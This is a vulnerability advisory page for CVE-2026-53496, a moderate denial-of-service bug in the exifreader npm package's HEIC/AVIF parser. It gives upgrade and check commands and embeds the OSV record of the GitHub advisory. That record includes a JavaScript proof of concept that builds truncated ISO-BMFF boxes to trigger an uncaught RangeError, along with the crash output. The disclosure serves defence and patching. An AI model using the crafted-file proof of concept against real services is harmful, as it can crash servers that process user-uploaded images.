CVE-2026-53496: Exifreader ExifReader HEIC/AVIF ISO-BMFF Parser Throws Vulnerability
MODERATECVE-2026-53496 is a MODERATE (CVSS 5.3) exifreader heic/avif iso-bmff parser throws vulnerability (CWE-755: Improper Handling of Exceptional Conditions) affecting Exifreader libraries in the npm ecosystem. The issue involves exifreader heic/avif iso-bmff parser throws uncaught rangeerror on truncated boxes. Remediation is available by upgrading affected packages to version 4.40.1.
CVE-2026-53496 at a Glance
Security Impact
CVSS: 5.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).
How to Fix CVE-2026-53496
To remediate this vulnerability, upgrade all affected Exifreader dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install exifreader@4.40.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls exifreader
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-53496, inspect your project dependencies using npm:
npm ls exifreader
Analyze the terminal output to locate any version of Exifreader in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.40.1), your application is affected.
Note: The npm ls exifreader command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-755: Improper Handling of Exceptional Conditions, where the product does not handle or incorrectly handles an exceptional condition. In Exifreader, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-53496 Affected Exifreader Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
exifreader
|
npm |
< 4.40.1
|
4.40.1
|
References
Frequently Asked Questions
What is CVE-2026-53496?
Which Exifreader versions are affected?
What version fixes CVE-2026-53496?
Is exifreader affected?
What is the CVSS score of CVE-2026-53496?
What CWE is associated with CVE-2026-53496?
How can I check npm dependencies for CVE-2026-53496?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-g77h-45rf-hcx4",
"modified" : "2026-07-17T20:19:39Z",
"published" : "2026-07-17T20:19:39Z",
"aliases" : [ "CVE-2026-53496" ],
"summary" : "ExifReader HEIC/AVIF ISO-BMFF parser throws uncaught RangeError on truncated boxes",
"details" : "## Summary\n\nExifReader 4.40.0 can throw an uncaught `RangeError: Offset is outside the bounds of the DataView` while parsing crafted HEIC/AVIF files. The file only needs a valid leading `ftyp` box with a HEIC/AVIF major brand followed by a malformed ISO-BMFF box, such as an empty 8-byte `free` box or a truncated extended-size box.\n\nThis is reachable through the public `ExifReader.load()` API for in-memory buffers and through the async file/URL loaders when an application parses attacker-supplied images. In applications that do not wrap every parse in a defensive try/catch, a single uploaded or fetched image can abort the request/worker and cause a denial of service.\n\nCredit requested: Yaohui Wang.\n\n## Affected version tested\n\n- npm package: `exifreader`\n- Version: `4.40.0`\n- Repository commit tested: `8cb0261a26b7d986955fe0a6780f076dcb7902e7`\n\n## Root cause\n\nThe ISO-BMFF parser assumes that every top-level box with at least an 8-byte header also has enough bytes for the fields required by its parsed form. In `src/image-header-iso-bmff.js`:\n\n- `findMetaBox()` calls `parseBox(dataView, offset)` while only checking that `offset + 8 <= dataView.byteLength`.\n- `parseBox()` calls `getBoxLength()` and then unconditionally reads fields such as the full-box version byte for `meta`/`iloc`/`iinf`/`idat` boxes.\n- `getBoxLength()` handles `boxLength === 1` by calling `hasEmptyHighBits(dataView, offset)`, which reads `dataView.getUint32(offset + 8)` without first checking that the 64-bit extended size field is present.\n\nAs a result, syntactically small or truncated boxes after a valid HEIC/AVIF `ftyp` box escape the format-detection catch blocks and throw from the main parsing path.\n\n## Reproduction\n\nRun this from the repository root against the committed `dist/exif-reader.js` bundle:\n\n```js\nconst ExifReader = require('./dist/exif-reader.js');\n\nfunction u32be(n) {\n return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];\n}\nfunction ascii(s) {\n return Array.from(Buffer.from(s, 'ascii'));\n}\nfunction box(type, content = []) {\n return [...u32be(8 + content.length), ...ascii(type), ...content];\n}\n\nfor (const brand of ['heic', 'avif']) {\n for (const badBox of ['free', 'abcd']) {\n const bytes = Uint8Array.from([\n ...box('ftyp', ascii(brand)),\n ...box(badBox), // 8-byte box header with no content\n ]);\n\n try {\n ExifReader.load(bytes.buffer);\n console.log(`${brand}/${badBox}: no throw`);\n } catch (e) {\n console.log(`${brand}/${badBox}: ${e.name}: ${e.message}`);\n console.log(String(e.stack).split('\\n').slice(0, 6).join('\\n'));\n }\n }\n}\n```\n\nObserved output on Node v23.11.0 with ExifReader 4.40.0:\n\n```text\nheic/free: RangeError: Offset is outside the bounds of the DataView\nRangeError: Offset is outside the bounds of the DataView\n at DataView.prototype.getUint8 (<anonymous>)\n at parseBox (.../dist/exif-reader.js:1:16513)\n at findMetaBox (.../dist/exif-reader.js:1:19032)\n at findOffsets (.../dist/exif-reader.js:1:19101)\n\nheic/abcd: RangeError: Offset is outside the bounds of the DataView\navif/free: RangeError: Offset is outside the bounds of the DataView\navif/abcd: RangeError: Offset is outside the bounds of the DataView\n```\n\nA second variant triggers the extended-size path:\n\n```js\nconst truncatedExtendedBox = [...u32be(1), ...ascii('free')];\nconst heic = Uint8Array.from([...box('ftyp', ascii('heic')), ...truncatedExtendedBox]);\nExifReader.load(heic.buffer);\n```\n\nThat throws from `hasEmptyHighBits()` / `getBoxLength()` because the extended-size high/low fields are not present.\n\n## Expected behavior\n\nMalformed/truncated metadata boxes should be handled like other malformed metadata in the project: return only the successfully parsed file type/metadata, return no app markers, or throw a controlled project-specific error. A safe JavaScript bounds error should not escape from the parser for an attacker-controlled image container.\n\n## Security impact\n\nThis is a denial-of-service issue for services that parse user-provided HEIC/AVIF files with ExifReader. A minimal attacker-controlled image buffer can cause an unhandled exception in the parser and abort the surrounding request/worker if the embedding application does not catch every parse error.\n\nSuggested severity: Medium. Suggested CVSS: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`.\n\n## Suggested fix\n\nAdd explicit bounds checks before every `DataView` read in the ISO-BMFF box parser, especially:\n\n- before reading the 64-bit extended size fields in `getBoxLength()`;\n- before reading the full-box version byte in `parseBox()`;\n- before descending into `parseSubBoxes()` when a declared box length exceeds available bytes;\n- ensure `findMetaBox()` breaks on boxes whose declared length is invalid or not fully present.\n\nA regression test should cover `ftyp/heic` and `ftyp/avif` followed by an 8-byte empty `free`/unknown box and by a truncated extended-size box.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "exifreader"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.40.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.40.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/mattiasw/ExifReader/security/advisories/GHSA-g77h-45rf-hcx4"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/mattiasw/ExifReader"
}, {
"type" : "WEB",
"url" : "https://github.com/mattiasw/ExifReader/releases/tag/v4.40.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-248", "CWE-755" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-17T20:19:39Z",
"nvd_published_at" : null
}
}